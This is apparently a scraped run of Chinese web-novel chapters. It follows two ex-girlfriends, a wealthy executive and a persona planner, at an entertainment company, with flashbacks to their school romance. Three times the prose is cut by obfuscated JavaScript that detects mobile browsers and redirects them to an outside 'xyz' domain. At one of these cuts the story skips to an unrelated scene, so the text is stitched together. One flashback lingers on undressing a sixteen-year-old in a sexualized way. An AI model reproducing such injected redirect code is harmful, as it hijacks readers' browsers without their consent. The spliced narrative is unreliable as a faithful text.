橘子看见安迟叙的手,也没有害怕,懒散的往下一缩。 趴在地上伸起懒腰,整个猫都舒展开,毛散成蒲公英。 安迟叙的手停在半空。横着竖着反复比划。 她该怎么摸猫啊! 僵持的半分钟里,橘子看着她的手,还主动往前凑了下。 安迟叙被吓得往后一退。 “橘子,别,别咬我,我不好吃。”安迟叙坐在地上,掌心还残留着猫毛的柔软,心情却因为没有经验,起起伏伏。 她看不懂橘子想做什么。 橘子也看不懂这个人类想干什么,又坐回去,干脆躺了下去。 在橘子的认知里,人类都很好。她可以在人类面前舔毛清理,不用害怕人类会伤害她。 偶尔搞不懂人类在做什么,也是正常的。 橘子心很大,一边舔爪洗脸,见眼前的人类靠近了一点,翻出肚皮不说,还发出了呼呼的声音。 喜欢新房子,开心。橘子打呼的时候还虚空踩奶,对着空气踏步。 这一番操作把没猫的野人看傻了。 安迟叙一时揪心,她刚刚贸然对橘子伸手,不会把她吓应激了吧? 这是应激反应吗? 安迟叙急忙拿出手机录视频,发给裴昱希的小号。 【小裴,我刚刚试图摸你家猫,她把脑袋凑过来,我没敢摸,之后她就倒下这样了,还发出奇怪的声音,是不是应激了啊?】 *** 晏辞微遇到了近日最大的难题。 除去安迟叙依旧冷眼伤害她——这件事她已经习惯了,偶尔还会觉得爽。 昨天新加上的,疑似安迟叙的网友,表妹的猫的寄养主人,给她发了好多条消息。 看起来还很急。 晏辞微不太关心猫,比较关心这个网友的真实身份。 她把视频放大,将各种细节都截图。 可惜视频太短,且焦点全在猫身上,除了地板和远处的桌子腿,晏辞微没能看见别的。 桌腿很像那年她和安迟叙一起逛家具城,定下的款式。 可到底模糊。晏辞微只有不断加速的心跳,理智迟迟不敢做出判断。 看了好半晌,晏辞微按住心口,突兀回想起过去。 凌乱的桌椅,昏暗的客厅,阴云的天气…… 还有青涩的心和跃动的情绪。 她曾经在餐桌旁,第一次。 看见安迟叙的身体。 那时的安迟叙就像这只小猫。 蹲在桌角,仰着头。 用淋过雨的眼,湿漉漉的望着她。 ……不要养猫,我的团团。 养我吧。 晏辞微打下一段话。 她希望收到的人是她的团团。 4. 第 4 章 晏辞微第一次看见安迟叙的身体,是在她们中学阶段。 两个人生日只差半年,高中同班。 彼时安迟叙内敛安静,只有两三个一起吃饭的好友,存在感很低。 晏辞微是学校风云人物,她成绩很好,热衷于给同学讲题,还会分享习题资料。 再刻意低调,大家也看得出她举手投足的不同,偶尔流露的见识更是叫人仰望。 二人云泥之别,本该毫无交集。 是晏辞微先注意到了这个藏在角落的小猫。 她像好心的人类,以对待流浪猫的姿态接近。 亲手打破安迟叙生活的平静。 那天骤雨,安迟叙被人甩了一身泥。 她双亲离异分居,各自有了新生活。 安迟叙这个旧女儿无处可去,回家也无人照料。 晏辞微悄悄将她接回家中。 那时安迟叙还很信任她的人类,夏季的骤雨淋满她的眼帘,一双杏仁眼带着湿漉漉的光,蹲在地上望向晏辞微。 晏辞微取下毛巾,不由分说的盖住她的头,捂她一脸水。 养尊处优的大小姐不会照料流浪猫,遑论安迟叙是同她一般大的人。 她无助又胡乱的擦着。安迟叙闭上眼随她摇晃。 心思也摇曳,咚咚着让安迟叙不知所措。 餐桌就在她们身旁,椅子用尚好的木材,垫着柔软的枕。 而晏辞微宁愿和安迟叙一同跪坐在冰凉的地板上。 她是好主人,要和她饲养的小猫在一起。 “你妈妈们不在家吗?”水渍擦干,安迟叙被晏辞微抱了起来。 靠在她怀里,嗅着雨泥的腥香,安迟叙的声音也变得粘稠,难以分辨,恍惚好似猫咛。 “我算外地生。”晏辞微带着轻笑,把安迟叙牵到浴室。 晏辞微满脑子都是对自己博眼球手段的嘲笑。 她的笑容却释放着温和的好意,缓慢烘干骤雨的潮热。 安迟叙放心的弯了眉眼,站在原地等待晏辞微解开她的校服扣子。 毫无防备。 那层外壳脆弱,晏辞微解得仔细又迟缓。 再快一点,她怕她忍不住心底的冲动。 可安迟叙就贴在她跟前,雾蒙蒙的眼里除了一场骤雨,只剩晏辞微一人。 她哪儿也不会离开。十六岁的安迟叙第一次感受到满满的照料,误以为那就是爱。 她是被爱抛弃的流浪猫,本能永远朝向爱的质心。 晏辞微透过雨水的朦胧读出这一切。 褪去衣裳的那一刻,安迟叙选择了她,彻底落入她的怀抱。 十六岁的晏辞微以为,那一抹肤白叫做永远。 所以十八岁的她回报了安迟叙。 大学附近的公寓里,晏辞微朝安迟叙伸出手。 她衣衫半敞,发尾带着天竺葵的余韵。 脸蛋是盈盈薄汗,夕阳下透出健康血色。 她知道她这副模样对安迟叙的吸引力有多大。 刻意,又无辜。 安迟叙早就落入她的陷阱,不会挣脱,便学着她,从背后抱住她。 双手替她及腰的黑发编辫子,将柔顺又带着清香的秀发盘在晏辞微的脑后。 再紧紧锁住她的腰,头贴着她的肩膀。 “微微……姐姐。”安迟叙轻唤着,缓慢摸索着晏辞微的衣扣。 她看过无数次的睡衣此刻变得陌生。她仿佛瞎了眼,描摹数十次才堪堪找到纽扣的位置。 她的手从最下方开始。解开衣扣时,袖子有意无意扫过晏辞微的腰腹。 晏辞微偏头抵着她的头,呼吸轻蹭她的鼻尖,扫得她睫毛发痒。 安迟叙还跟小猫一样乖巧,努力啄着养母的脖颈。 只是两年过去,她早已成长为猎豹。 不过年幼时被驯服,长大以后也温顺,每每伏在主人的脚下,讨要些爱抚、乳汁。 此刻,她不过是被晏辞微带领着,去解开那一层隔阂,与她坦诚相见,再服侍她。 “乖团。”晏辞微的手覆在安迟叙的手背上,无声鼓励。 她一个动作带领着毫无经验的安迟叙探索。 她拥有安迟叙的全世界,唯独留下自己。 她用她自己教导安迟叙何为欲、求。 “喜欢吗?”晏辞微记得,安迟叙抬手时,她说过的话。 …… 喜欢吗? 晏辞微被手机的震动残忍推回现实。 她放在身侧的手缓缓抬起。 她刚刚竟然…… 也许是思念太重,满溢成江。 晏辞微抽手,沉默着,用干燥的另一边拿起手机。 她失神的五分钟里,对面疯了一样给她发了好多消息。 晏辞微眼神稍冷,情绪落空。 此刻竟不知道该如何希冀。 对面若是安迟叙,她的嫉妒心会爆发成洪流。 若不是,那她费尽心思开新号加裴昱希来演戏,是为了什么? 晏辞微从不做无用功。 她却因为对面人对猫的态度,吃了味。 五分钟前,晏辞微发的消息很短。 【一直呼噜?呼吸系统有问题?】 而疑似安迟叙的寄养猫主,看见这句话就开始了消息轰炸。 一条【怎么办】都发了十遍,后面还有一串道歉的话。 这不是她的团团。 安迟叙说话的方式不是这样的。她内敛又安静,有事只会一个人缩在角落哭。 或者,告诉自己,安迟叙唯一的爱人。 自己总会帮她解决,每一次都处理的很好。所以安迟叙曾经那样爱自己。 她的团团,怎么会对陌生人发这么多条消息,如此直白的表述心情? 晏辞微乏味的看着陌生的语气,又点开新的视频。 不就是个猫…… 晏辞微捏着手,仔细看了一眼屏幕。 这猫看起来健康得不行。裴昱希养的很好,不娇气,怎么可能换个环境第二天就重病了。 【说错了,猫没问题,放宽心。】晏辞微敷衍了一句,切换账号。 *** 安迟叙看过“裴昱希”发的消息,稍作感慨。 之前面对面交流的时候,没感觉这个妹妹这么冷淡。到网上反而高冷起来,对她心爱的橘子也没那么上心似的,有没有问题还会判断错。 安迟叙结束焦虑的半个小时,想起现在一切都得靠自己,不能任情绪淹没动作。 她已经没有能替她解决任何麻烦的姐姐了。 安迟叙打开搜索引擎。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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安迟叙有时候陪她们跑通告,看着她那一列粉丝寥寥无几,会觉得心疼,因此尽可能用最少的改变让她有一个更好的人设,可惜收效甚微。 也许,甚至会需要安迟叙去背锅。 安迟叙转了下眼珠。 谁说这份人设是她写的?人设递交上去,首页明晃晃贴着的,可是唐殊的名字啊。 安迟叙有了决断。 到之前,安迟叙看了一眼公关小组的手段,发现评论已经控制下来,热搜也撤了。 但那个视频明显是对家放出的,不会这样轻易放过她们。 安迟叙跟着唐殊进了会议室,室内气压很低。 裴落尘人气一骑绝尘,正处于事业上升期,最近正在竞争杂志封面,团队在抢下一场舞台的举办地点。 这些都是对家攻击她的理由。很明显公司不会放弃她。 安迟叙在心里把想说的话转了一圈。 就等着会议上有人把矛头对过来。 只是没想到。 进会议室内,安迟叙抬头。 对上晏辞微的眼。 5. 第 5 章 会议室内出现了好几位平日只听闻,不见踪迹的大佬,职位比现在的晏辞微还高。 约莫不是单独为了裴落尘而来,公司最近有大项目要签,这件事已经传到安迟叙耳朵里,证明八.九不离十,大人物们才纷纷留在总部。 只是赶巧,裴落尘出了这种事,对家想和公司谈判,惊动了这群大人物。 安迟叙余光扫过晏辞微。其实在座各位身份加起来也比不过晏辞微。 晏辞微是燕巡娱乐母公司日安集团的董事长之女,集团继承人。 她来燕巡娱乐,哪怕只是总监,都算是从“基层”做起,积攒经验和团队了。 哪怕她不过安静坐在角落,弓着背翘着二郎腿,满眼疲倦,垂眸到快要睡着。 人群也自动为她留出一片空间,仿佛打了光,照得她周身锃亮。 她坐在那里便无人敢忽视。 安迟叙却只是站在唐殊身后充当助理策划。 安迟叙早就知道她和晏辞微不是一个世界的人。 主持会议的不是晏辞微。是另一个部门的经理。 “何经纪,怎么看管手下艺人的?这种视频怎么流出的?” 何经纪人缩在旁边连连道歉,说是助理看管不当,已经把人开除了。 安迟叙站在唐殊背后,有微妙的不适感。 被开除的那位助理,和她多像。做最累的工作,背最重的锅。 而全场没有一个人觉得不对。经理看向何经纪人的表情反而稍微好了点。 有了行动就有了解释。她们可以开始准备甩锅了。 裴落尘是绝对不能动的。有人隐晦的给了晏辞微一个眼神,转瞬收回来。 安迟叙不想承认自己对晏辞微的关注,但她这样的小人物在这种会议上除了眼观六路,也做不了别的,依旧注意到了。 难道裴落尘的c位和人设是晏辞微敲定的? 安迟叙最不想对上的人就是晏辞微。 不止是因为她们过去的关系,还因为这个人的手段。 “这件事,和助理看管的关系是?”只是没想到,晏辞微竟把心照不宣的点捅破了。 会议室上的人神色各异。 安迟叙没忍住瞥她一眼,还好没有对视。 而晏辞微也没有在意周围人的目光。 说她自我也好,自信也罢,她总是没那么容易受旁人影响。 “把裴落尘和周妍西叫过来。”她很自如的下了命令,目光堪堪落在何经纪人头上,一瞥。 叫那经纪人头埋的更低,几乎垂入地里,头折了一般缩出去找在等候室待命的二人。 安迟叙稍稍出神。 她了解晏辞微。这样的态度是打算问责当事人了。 也许不需要她背锅了。 安迟叙站姿都松弛了点。 晏辞微话还没停。 比起平日开会,今夜晏辞微的话多了不少。 以往她有些心不在焉的随意,多数时候没个正形。 没人敢说她什么,她也只负责在最关键的时候下命令。 “我们很缺椅子?”她甚至说的是一句毫无意义的话。 只有安迟叙听明白她的意思了。 对上眼神,安迟叙怔怔没有移开,竟从那双冷清无情的眼里看见意思柔光。 安迟叙转回眼眸,跟着一群站着的助理一起出门拿了椅子。 “第一次见小晏总,她人还挺好的啊。”助理们同病相怜,出门的时候还窃窃私语。 会关心她们这种背景板,晏辞微的形象一下高大起来。 安迟叙默着,连抬椅子的动作都缓了。 回到会议室,两位女团成员已经站在晏辞微面前了。 低着头跟小鸡仔一样,耳尖发红,脖子上还有吻痕。 安迟叙回忆了一下今晚的事。 裴落尘对外一直是清冷人设。她的人设策划师围绕她的外形,最近粉丝喜好,给她严格制定了这一套有距离感,却又不是高高在上的人设。 人设制定的很好,安迟叙有分析过对方的策略,一套组合技下来足够吸引人,勾着粉丝去好奇她的全部,一眼爱上或者日久生情。 但今天流传出去的视频,却是她对着队友周妍西说私房话。 直白到安迟叙都没好意思多看。视频里两个人还挺缠绵,不是在搞暧昧就是已经谈上了。 爱豆不能谈恋爱是业内不成文的规定,况且年龄也不合适。 两个人犯了大忌,在安迟叙看来不只是人设崩塌的问题。 “谈了吗?”晏辞微像个大家长,坐在两个小朋友面前,举手投足都是威压,敲着桌子的一句话叫两个人把对着的脚尖分开了。 “非要谈?”也不需要她俩回话。晏辞微看她们走过来就知道。 “对不起……”裴落尘支支吾吾挤出几个字。 “暂停一个月活动。好好反思。”真正有权力的人大抵如此。 她根本不需要听解释,或者咨询旁人的建议。 她只给一句话。 裴落尘眼睛都瞪大了,一旁周妍西表情更差。 而经纪人大受打击,甚至站了起来,开口就想反对。 “小晏总,裴落尘可是团队的队长,团队正在上升期,直接禁止活动不就坐实她们……”一旁经理开口了。 她们今天是来找解决办法,不是来惩罚裴落尘的。 “那不处罚?下次她继续谈,继续撩,对家继续存她的视频,我们继续给她擦屁股?”晏辞微一眼扫过去。 “这件事要是假的,至于大晚上兴师动众的来开会?你们很清楚真假,更清楚她到底是个什么样的人。” 晏辞微大概是少数不太支持给明星事事都策划人设的高层了。 某种程度来说,她和安迟叙的观点是一样的。 裴落尘就算展示她率直会撩的海王本性,也不一定不能火成这样。 “我知错了,下次……”裴落尘在一边讪讪开口。挨打了才知道痛。 晏辞微打量她一眼,叫她噤了声。 “怎么解释,你们筹备的方案应该不少。至于她们暂停活动期间团队怎么办……剩下五个人不能跑通告?” 晏辞微是真没有撤销处罚的想法,甚至把话摊开了。 处罚肯定是内部进行的。对外宣称多半是演戏之类的,可能还会给对家泼点黑料来减少影响。 何经纪人脸上红一阵白一阵的,十分精彩。 几个对晏辞微有意见的老高层表情也很微妙。 这个结果却比安迟叙预计的好太多。她挺担心她带的那个妹妹,但倘若裴落尘暂停一个月事业活动,留给别人的机会就多了。 安迟叙也就观察到这儿。沈既白的机会多了,她接下来一个月也会变忙。要回去好好准备了。 唐殊当然也听懂了晏辞微的言外之意,很是激动。 她们带的明星的数据和她们的分成挂钩。唐殊感觉她的春天要来了。 “上次晏总留你交代事情,你有没有让她记住你?”出了会议室,唐殊很明显还想再做点什么,脸上的褶皱都堆起来了。 “……我去找她道谢。”安迟叙木一张脸,已经看不出喜悦,眼里装着淡淡的烦躁。 “那别跨着脸去。能适当提一下我们既白,还有我们组的成果更好。”唐殊拍了拍安迟叙,觉得她很上道。 要不是她有点怕晏辞微,肯定要亲自去套近乎了。 安迟叙往一旁退了两步,想。 唐殊年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908832|176866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪真有点大了。 说话、做事的方法和她母亲很像。 已经跟不上这个时代,不知道年轻追星族喜欢什么。 是时候,该让位了。 *** 安迟叙绕到晏辞微办公室的时候,距离开完会已经过去二十分钟了。 她知道晏辞微会在办公室,正如晏辞微知道她需要这么一个机会。 只是不知道今天晏辞微的作为里,哪些是她们的心照不宣,哪些是她为自己开的小灶。 被晏辞微关照的感觉并不好。 如果可以,安迟叙不想再来这个地方。 她叹息一声,走到门前,还没抬手敲门。 一道松绿色划开安迟叙的眼帘。 裴落尘脸气涨了,眼带猩红,薄薄一层泪铺上去,叫偶然碰见她的安迟叙稍愣。 安迟叙看向裴落尘的眼,那里秋水清清,她心脏不自觉收紧。 “你是……”裴落尘一次深呼吸,把眼角的泪擦过,还以为安迟叙是什么重要人物。 毕竟,在裴落尘眼里,能随意来到晏辞微办公室门口的人一定有什么身份。 她算是其一,可她也不过是个听从命令的棋子。 安迟叙往后退了一步,低下头,摆出下位者的姿态,明晃晃的告知裴落尘她的身份。 她听见裴落尘过于沉重的呼吸,拍打礁石一样砸在安迟叙心口。 一向骄傲的小偶像似乎气急败坏,想要发泄,眼前冲撞她的人刚好成了靶子。 她正欲开口,一道声音打破焦灼。“安姐姐?” “唐姐说你在这儿,我想跟你道谢……”沈既白话说一半才看见裴落尘就在门口,和安迟叙对立着,差点噎住。 沈既白在得知队长出事后一直心惊胆战,直到刚刚何经纪人送来好消息,还给她分了两场通告。 沈既白以为,是安迟叙做了什么。 她们没有私人联系方式,她只能趁着安迟叙在公司的时候来找她。 “沈既白?你来做什么?看我笑话?还是抢我靠山?”裴落尘正处在气头上,说话很不客气。 “……我来找我的人设策划师,并不知道你在这儿。”沈既白还想上前,安迟叙却侧身把她挡住了。 不找晏辞微了。反正一次道谢于她而言也不重要。 安迟叙呼出浊气,她想她也并不需要知道,晏辞微为她做了多少,苦了多少。 她并不需要前女友的特殊关照。 唐殊那边敷衍一下就好。 “这是你的策划师?”裴落尘可算上前,眼底的不屑快要溢出来了。一个讥笑快要成型。 安迟叙垂眸,挡着裴落尘对沈既白的恶意,忽然发现她大概不喜欢这双眼睛,也不喜欢松绿色的头发。 “还不走?”一道略轻,略冷的声音撕开门槛。 晏辞微的出现制止了裴落尘更多的话,把她变成那红眼委屈兔子。 两个人对视,无形的暗流再次涌动,说不清道不明的情绪在裴落尘眼中流转。 她们一高一低的对峙,裴落尘面颊的绯色好像暧昧的空气。 裴落尘的队长之位约莫真是晏辞微定的,如此她才能一锤定音,撤掉裴落尘这个月的通告。 她们的关系究竟是什么? 安迟叙觉着疲惫,侧身抓住沈既白的手腕就想离开。 “……安安,这么晚了,我送你回家吧。”她的肩膀却被一缕发丝拂过,好似修长的指节按住锁骨的尾巴。 骨头坚硬,指尖却柔软。 是似曾相识的感觉。 安迟叙以为她要闻到天竺葵的淡香,顺势滑落回到曾经。 只是她眨眼,闻到的却是茉莉的清芳。 晏辞微换香水了。 6. 第 6 章 高一上学期期末。 安迟叙拿着成绩单,赤裸裸的升降号扎着她的心脏。 她的母亲和妈妈正在闹离婚,没有人在意她的感受,两个成年人每天把鸡飞狗跳的琐事砸到她脑仁里。 安迟叙把成绩单揉皱,揉碎,除了她,也没有别人会看见这张成绩单。 她将碎屑揣进衣兜,漫无目的地在校园里乱晃。偶然对上一双眼,对方也是一个人。 “安迟叙。”晏辞微开口了,朝她跑了两步。 那时她们还不熟,只在一个小组里过了半学期。 小组六个人,大部分时间安迟叙只和关系最好的那一个说话,剩下三个人围着晏辞微转。 “你家长呢?”晏辞微穿着最普通的校服。奔跑时挥洒些许汗水。 抑或是碎发。 阳光下波光粼粼着浮在脸庞,远处的安迟叙双目刺痛,看不清过于耀眼的反光。 “要来了。”安迟叙没有告诉任何人她家里的情况。 要她如何去说?她最亲近的两个人甚至都不管她。 “快开始了。上楼吗?”晏辞微很亲近的挽住她的手。 随性又自然,惹得安迟叙的紧张好像无处遁形,窘迫到即将爆炸,又被晏辞微轻飘飘一句话捏扁。 “好。”安迟叙跟上晏辞微的步伐,挽着的手悄悄变成牵。 晏辞微也许刚刚和朋友运动过,手心带着微薄的汗。 捏起来湿黏难受,牵着的手慢慢松开。 安迟叙拉住晏辞微的衣角,好像挽留了一寸茉莉香。 家长会开始的时候,全班只有安迟叙的家长没有到。 有些甚至来了两三个。母亲或者妈妈的姐妹都跟着来参加孩子高中第一次家长会。 安迟叙孤零零的坐在座位上,垂着头回避老师的目光。 她还是被老师捉上去了。 考的最差的那一科是物理,物理老师平日就很凶神恶煞,全班都怕她。 “你说说你。”她拿着一叠成绩册,上面大大小小考试的成绩都有,平时上课的练习成绩也记录在册。 安迟叙那一行持续标红。 “这半学期成绩下降这么多。你家长也不来。害怕被你家长看见是吧?你也知道你考得稀烂啊。厉害完了,觉得自己不找家长就可以不被骂了?”物理老师说的话一向难听。 安迟叙头低低的埋着,脖子快折下去。自己松松捆好的马尾散在一旁,恼人的碎发遮挡视野。 她看着自己的脚,那双脚在晕厥中放大缩小,她努力无视着鼻尖的酸楚。 她知道她说了,她家长也不会来。 那两个人早就不把她当孩子看了,只会以她为导火索,不停的吵架。 她又不想考砸,她只是…… 物理老师的数落稀稀落落的抛过来,安迟叙在恍惚里度过一个世纪。 直到一阵风拂开耳畔的碎发。 一只手捏住安迟叙的肩膀。 那只手很软,带了点出汗的黏,甚至留着方才相牵的体温,白茉莉的清淡。 落在安迟叙削瘦的肩头,捏得她骨头松。 “老师,说的有点过分了吧?安迟叙自己也想考好啊。”晏辞微站在她面前,侧身将安迟叙挡在身后。 “我是她组长,我看见她每天都在学物理,很认真的。”一句话,将安迟叙沉重的头托起。 “万一她家里人有事来不了呢?您完全可以先问一下情况,再开始教育。” 安迟叙一帧一帧扬起头,看见晏辞微飘洒的碎发。 碎发裹满斜阳,比操场那一瞥还亮。 *** 那时安迟叙嗅到的,就是这股茉莉香。 晏辞微原本的洗发露味。 很清淡,不凑近闻不出。 高中那回的近距离里,茉莉铺上阳光的味道,温暖刺痛。 此时此刻,晏辞微从阴影里走来,只有楼道一盏惨白的灯打在她发梢,把茉莉香消减至无味。 她没有动手。十年过去,她已不再需要多余的动作。 只是将安迟叙笼罩在阴影里,甚至只是上前一步,一句称呼,就能彰显她的态度。 “地铁也停了。”晏辞微一句话近乎叹息。 她在恳求安迟叙答应她的邀请。 安迟叙在她的阴影里凝固,呼吸随着她的恳求放轻。 她没有对上晏辞微的眼,目光穿过晏辞微的肩膀,透过她的发丝。 看向裴落尘。 裴落尘松绿色的头发都僵住了。 显然没有想到她的“靠山”错过了她猩红的眼睛,罩住了她正准备发难的下位者。 她嘴唇发着抖,欲言又止,瞳孔骤缩。 呼吸都静止了,没能透过晏辞微,传到安迟叙眼前。 安迟叙没再看裴落尘,哪怕这个人长着自己最喜欢的一双眼,染了最合适的松绿色头发。 她转向旁边还没有反应过来的沈既白。 “没事了,既白。”安迟叙抬手拍了拍小妹妹的头。 沈既白随着她的动作抬头,眼里明晃晃的情绪多么似曾相识。 “和我没有关系。过两天通告再来找你。这两天安心准备。”安迟叙希望沈既白能抓住机会。 沈既白外形条件不差,唱跳俱佳,人设出自安迟叙的手,她对此有信心。 只不过平日被裴落尘压了一头,资源也不够,出不了头。 “安姐……”沈既白看着安迟叙上前一步,彻底融入晏辞微的阴影里,莫名想要挽留。 就好像安迟叙被什么可怖的怪物吞没。 她手腕被安迟叙捏痛,不得不让开一条道。 晏辞微冷一双眼注视着她们的互动,冰霜覆盖的眼眸下情绪微妙复杂。 安迟叙向前走了。 晏辞微想去牵安迟叙都来不及,终究连她一片衣角都没能抓住,只能快步跟上。 *** 走廊上的灯光忽闪。 晏辞微第一次认识到她的办公室到电梯有多远。 她得走得很快才能跟上安迟叙。 也不知道什么时候那个只会跟在她身后怯懦的小可怜,有了如此快的步子。 这是她们这周第三次单独坐这电梯。 每一次都不一样。 此时此刻安迟叙立她身旁,不卑不亢,略仰着头关注数字变化,没有过分疏远她,也没有低微的跟在她身后。 不是陌生人也不是朋友。 安迟叙是她的前女友。 晏辞微把一句话在心里转了千遍,还是很难开口。 牙齿碰在一起都能打架,嘴唇贴上就松不开。 她咬痛唇瓣故作轻松。往安迟叙身边近了一步。 安迟叙扬起一双杏眼看向她。 “是来找我的吗?”晏辞微的笑容有些奇怪。 像是刻意,又带着不少真情。好似面部肌肉失去了控制,做不出想要的表情。 她站在安迟叙身侧,稍稍弯腰,以略仰视的姿态看向安迟叙。 安迟叙的目光随着她一缕垂落的发丝忽闪。 “找你道谢。”她没有挪开一步。没有贬低晏辞微的小心翼翼,做作违和。 甚至,说得很直白。 “今天晚上的事……搬椅子,或者取消一个月活动。不都是为了我?”安迟叙说这番话的时候面上没有情绪。 看向晏辞微的眼也满是平静,是雨后澄澈的天。 晏辞微睫毛缓慢扇动,而后勾了下嘴唇,起身。 安迟叙自己都没有意识到,她在模仿晏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908833|176866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辞微。 在对峙时突兀揭穿本质,安迟叙成为了半个小时以前的晏辞微。 “团团。”晏辞微弯弯眼角,多想夸她一句。 学得好啊。她知道安迟叙是她最好的学生。 安迟叙只是讥笑一声,别过脸,这次回绝她们的对视。 晏辞微的眼神顺势跌倒,被安迟叙甩了一巴掌似的。 她克制着表情,维持那个难看的笑。 直起身子,往后靠在墙上,从背后看她的团团。 心口一阵紧一阵松。 到现在她都不明白安迟叙的意图,只能走一步看一步。 安迟叙是她最好的学生,世界上最了解她,最像她的人。 她引导了安迟叙整个少年时期,七年里安迟叙没有离开她一步。 ……所以安迟叙是她最难以揣测的人。 她们彼此都一样。 曾经安迟叙会为了她一句话半夜失眠,如今只是不在乎她了。 安迟叙的余光注视着晏辞微的动作,看见她破碎瓷瓶一般的笑。 已经被破坏,依旧维持着体面美丽的一面。如果她将晏辞微转过来,一定能看见那满身伤痕。 那又如何呢? 电梯门开了,安迟叙抬腿向前走。 碎了一地的晏辞微只能自己把自己捡起来,胡乱贴合,美到别致。 好像分手那一夜她摔在泥泞地上,安迟叙回头只看得见她锃亮的眼。 晏辞微只把最好的东西留给安迟叙。 而安迟叙已经厌烦接受她没有边界感的好意。 安迟叙转向晏辞微的车。晏辞微扯着笑容加快脚步。 她打开车门时,安迟叙已经坐在副驾位置上了。 晏辞微不知如何作想。安迟叙记得她的车,熟稔的开门,甚至坐在副驾上—— 晏辞微留给安迟叙的专属位置,分手后再也没有人坐过副驾驶,如今安迟叙坐上去,连配置都不需要调整,椅背契合安迟叙的弧度,双脚刚刚好放下,侧头后视镜反光照在眼里。 ——好像她们从来没有分开。 晏辞微下意识坐到驾驶位上,俯身抬手,牵过副驾驶的安全带。 余光不经意撞在一起,晏辞微放低呼吸,生怕搅碎身边的团团。 可那双冷凄的眼,明晃晃的告诉着晏辞微残酷的现实。 晏辞微凝滞的呼吸,收紧的手臂,绷直的肩膀,颤抖的发梢……也彰显她的怯懦。 无形间她也变得和安迟叙肖似。 她想要夸赞她的团团如今骄傲又自立,开口心底全是血,喉头泛红阻止一句话。 安迟叙没有阻止晏辞微的下意识动作。 她也一不小心进入爱丽丝的兔子洞,回到过去。 那时晏辞微有了驾照,每每出游,她们都是这样。 她坐在副驾驶,颤着心跳等晏辞微替她系好安全带。 那是她们的情.趣。如今变成一根针,直白的扎痛晏辞微。 安迟叙看见了晏辞微眼底的清泪。 所谓双眸桃花剪秋水,不过是美人欲泣。 此刻晏辞微当真处在安迟叙的下位。 她眼眶盈满泪水,张嘴咬牙,双眼呆滞,靠酸涩克制眨眼落泪。 她还未和安迟叙对视,就已经如此痛苦,浑身被过去扎穿,刚刚粘合的裂缝重新断开。 安迟叙开口了,声音如柳,扶风若轻。 “……很想我吗?” 可是,一切都是晏辞微自找的。 晏辞微抬起头,仰视着她再也不能触碰的爱人,一行泪就此滑落。 她狼狈而凄美,这回被安迟叙亲手打碎。 “不要想我。”安迟叙抬手,替她抚去那抹清光。 窗外降下一场骤雨。 7. 第 7 章 梅雨季到了。 大学时期暑假也来了。 考完最后一科,安迟叙把连续一个月的紧绷都松弛。 她用的是晏辞微给她的复习资料,住在晏辞微学校附近的房子里。 她们是同一个专业,同一个班级。 日夜形影不离。安迟叙已经不需要别的人了。 “微微,我们什么时候出发啊?”安迟叙贴着晏辞微的背,双手悄悄探出,圈住晏辞微的腰。 夏日的炎热激发汗水,隔着薄薄的布料相贴的部分湿黏拉扯。 晏辞微说考完要带她出游。 从小到大没离开过家乡的安迟叙,第一次独自去往大学的城市,现在要和喜欢的人一起旅游了。 “我订的五号的酒店,我们四号早上出发就好。”晏辞微抬手勾住安迟叙的指尖,亲吻过她修理整齐的指甲,惹出一阵轻颤的笑意。 “我们真要自驾吗?”安迟叙在晏辞微的监督下考了驾照,毕竟不熟练,只能在晏辞微疲倦的时候接替一下。 “自驾好玩,路上体验不一样。”晏辞微挺斩钉截铁的。 “好。你说了算。”安迟叙向来听话,被爱人牵引着来到面前,也不多做动作。 她果然被晏辞微拉入怀抱。安迟叙顺势抱紧爱人的脖颈,嗅着耳畔的天竺葵香,安心感让她沉沦,好似被晏辞微迷晕。 “怕你太累。”不一会儿安迟叙倒下去,晏辞微将她抱到一旁的沙发上。 “怎么会。有你在。”晏辞微吻过安迟叙的眼角,推搡着与她一同倒在地上。 她们共享一整个秋冬,如今也走过春夏。 安迟叙把自己彻底交给晏辞微。 她的身、心,乃至学生证,账号密码,和身份证…… 每夜服侍晏辞微,给予她快乐的时候,安迟叙总会满足。好像这就是她的价值所在。 她只要爱晏辞微,就能拥有全世界。 晏辞微会照顾她,帮她处理一切,甚至让着她,让她用喜欢的方式做那种事。 有时候她会调侃。 晏辞微就好像她的妈妈。 真正爱着她,关心她的妈妈。而不是家里那两个…… 而安迟叙是被宠溺坏了的小孩,快没手没腿,走路都需要晏辞微带着了。 安迟叙撩开晏辞微的头发。 那里沾着早晨嬉闹时,她抹在晏辞微发尾的天竺葵香膏。 啄米一般吻过她的耳、脖颈、锁骨。 轻轻解开她的衣扣。 “在这里吗?”唯独这件事,晏辞微给了安迟叙最大的权限。 安迟叙可以尽情在晏辞微身上释放。晏辞微爱她,无论多过分的请求都不会拒绝。 “不可以吗?姐姐。”安迟叙也唯独精进了这件事。 